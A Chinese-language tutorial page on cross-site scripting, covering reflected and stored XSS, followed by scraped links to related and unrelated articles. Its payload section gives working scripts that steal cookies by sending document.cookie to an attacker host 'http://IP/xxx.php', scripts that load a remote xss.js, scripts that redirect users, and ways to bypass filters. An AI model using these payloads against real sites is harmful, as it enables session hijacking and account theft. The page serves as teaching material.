一、概念

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,也是web中最主流的攻击方式
是指恶意攻击者利用网站没有多用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中而盗取用户资料

二、XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

三、常见的攻击类型

反射性
将恶意代码嵌入到链接中,诱惑用户点击,从而执行嵌入的代码,达到获取用户相关信息的目的
原理


例:
某些网站的检索:http://IP/detail.php?resarch=css
嵌入代码为:<script>alert(‘你被攻击了!!’)</script>
非正常检索:http://IP/detail.php?resarch=<script>alert(‘你被攻击了!!’)</script>
将此URL发送给用户,以其他诱惑性的文字引导点击,从而执行攻击代码

储存型
应用最为广泛,而且直接影响服务器的安全。
是将恶意代码通过页面存储服务器,当用户浏览该页面时攻击代码将自动执行,从而盗取用户的某些信息
危害性非常大
原理


在留言板中填写攻击代码:<script>alert(‘你被攻击了!!’)</script>
保存时会保存在服务器中,当用户浏览该页面时,代码会被自动执行

四、构造XSS脚本
常用的html标签
<iframe>   行内框架,创建包含另外一个稳定的内联框架
<textarea>  定义多行文本输入
<img>      网页嵌入图像
<script>   定义客户端脚本
常用JavaScript方法
alert        用于显示带有一条指定消息和一个确认按钮的警告框
window.location    获得当前页面的URL并把浏览器重定向新的页面
location.href    返回当前显示的文档的完整URL
onload        一张页面或图像完成加载
onsubmit      确认按钮被点击执行
onerror      在加载文档或图像时发生错误
构造XSS脚本
弹框警告
当服务器对特殊字符串<>/'没有做过滤处理时,这个位置存在XSS漏洞
<script>alert(document.cookie)</script> 获得用户cookie
 
如果服务器对<>/'进行了过滤处理,还可以使用实体字符进行尝试
> &gt;
< &lt;
" &quot;
& &amp;
' &apos; 
 
 
 
 
 
 
 
 
 
 
页面嵌套
<iframe src="http://www.baidu.com" width="0" height="0"></iframe>    将嵌套的页面设置最小,用户不容易发现
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹窗警告并且重定向
<script>alert("请访问最新域名");location.href="http://IP/xxx/xxx.text"</script>
当访问该链接时执行恶意代码
访问恶意代码
<script>src="http://IP/xss.js"</script>
通常hacker会自己搭建一个服务器,访问时执行xss.js
使用图片标签
<img src="http://IP/xss.js"></img>
绕开过滤的脚本
<ScRiPt>alter('xss')</SCripT>    绕开大小写的限制
<a href="d3d3LmJhaWR1LmNvbQ==">最新域名</a>    使用字符编码绕开部分限制
获取用户cookie
<script>window.open("http://IP/xxx.php?cookie="+document.cookie)</script>
<script>document.location="http://IP/xxx.php?cookie="+document.cookie</script>
<script>new Image().src="http://IP/xxx.php?cookie="+document.cookie</script>
<img src="'http://IP/xxx.php?cookie='+document.cookie"></img>
<iframe src="'http://IP/xxx.php?cookie='+document.cookie"></iframe>
 
 

XSS攻击介绍的更多相关文章

  1. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  2. 第二百六十五节,xss脚本攻击介绍

    xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常 ...

  3. XSS攻击简单介绍

    之前由我负责维护的一个项目被检测出存在可能被XSS攻击的漏洞. 吓得我赶紧恶补了下XSS. XSS,全称为Cross Site Script,跨站脚本攻击,是WEB程序中一种常见的漏洞.其主要的攻击手 ...

  4. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  5. validateRequest="false"属性及xss攻击

    validateRequest="false"   指是否要IIS验证页面提交的非法字符,比如:>,<号等,当我们需要将一定格式得html代码获得,插入数据库时候,就要 ...

  6. XSS攻击(出现的原因、预防措施......)

    验证XSS攻击重点不是去查找可输入哪些内容会出现什么样的bug就是测试XSS攻击,重点是了解它出现的原理,为什么会出现XSS攻击,导致一些问题出现?如何防御与解决XSS攻击?以下我将简单介绍以上提出的 ...

  7. DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  8. XSS攻击常识及常见的XSS攻击脚本汇总

    一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...

  9. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

随机推荐

  1. leetcode — spiral-matrix

    import java.util.Arrays; /** * Source : https://oj.leetcode.com/problems/spiral-matrix/ * * Created ...

  2. JSON数据从MongoDB迁移到MaxCompute最佳实践

    数据及账号准备 首先您需要将数据上传至您的MongoDB数据库.本例中使用阿里云的云数据库 MongoDB 版,网络类型为VPC(需申请公网地址,否则无法与DataWorks默认资源组互通),测试数据 ...

  3. Go pprof性能监控

    Go net/http/pprof包提供了一个在WEB项目中使用的性能监控的工具, 使用时只需要引用包: _"net/http/pprof" 然后就可以在浏览器中访问地址: htt ...

  4. tomcat没有编译重新编写的代码

    今天在工作的时候,我把项目的mapper.xml的的sql语句改了,但是在启动项目,在页面访问数据的时候,发现控制打印出来的sql语句还是原来的,没有改过来. 在tomcat里找到我的代码,找到我修改 ...

  5. spring-boot(八) springboot整合shiro-登录认证和权限管理

    学习文章:springboot(十四):springboot整合shiro-登录认证和权限管理 Apache Shiro What is Apache Shiro? Apache Shiro是一个功能 ...

  6. 不规范的json文档 转化成 java 对象的处理

    最近练习爬取数据,遇到了json文档中属性名称没有用双引号的情况,内容如下: 标准的json文档,属性名称都是带双引号的 最后写了个方法,替换属性名字 为 两头追加双引号的属性名字, 特别要注意,防止 ...

  7. MySQL中间件之ProxySQL(15):ProxySQL代理MySQL组复制

    返回ProxySQL系列文章:http://www.cnblogs.com/f-ck-need-u/p/7586194.html 1.ProxySQL+组复制前言 在以前的ProxySQL版本中,要支 ...

  8. 一个简单的Code First建立

    1]从VS中建立一个mvc程序 记得添加NuGet包 然后在web.config中添加链接数据库的语句 <connectionStrings> <add name="Ent ...

  9. WCF、WebAPI、WCFREST、WebService之间的区别【转载】

    在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下,你有很多的选择来构建一个HTTP Services.我分享一下我对 ...

  10. JAVA实现ATM源代码及感想

    源代码 //20173626 信1705-2 郑锦package ATM;import java.io.IOException;import java.io.File;import java.io.F ...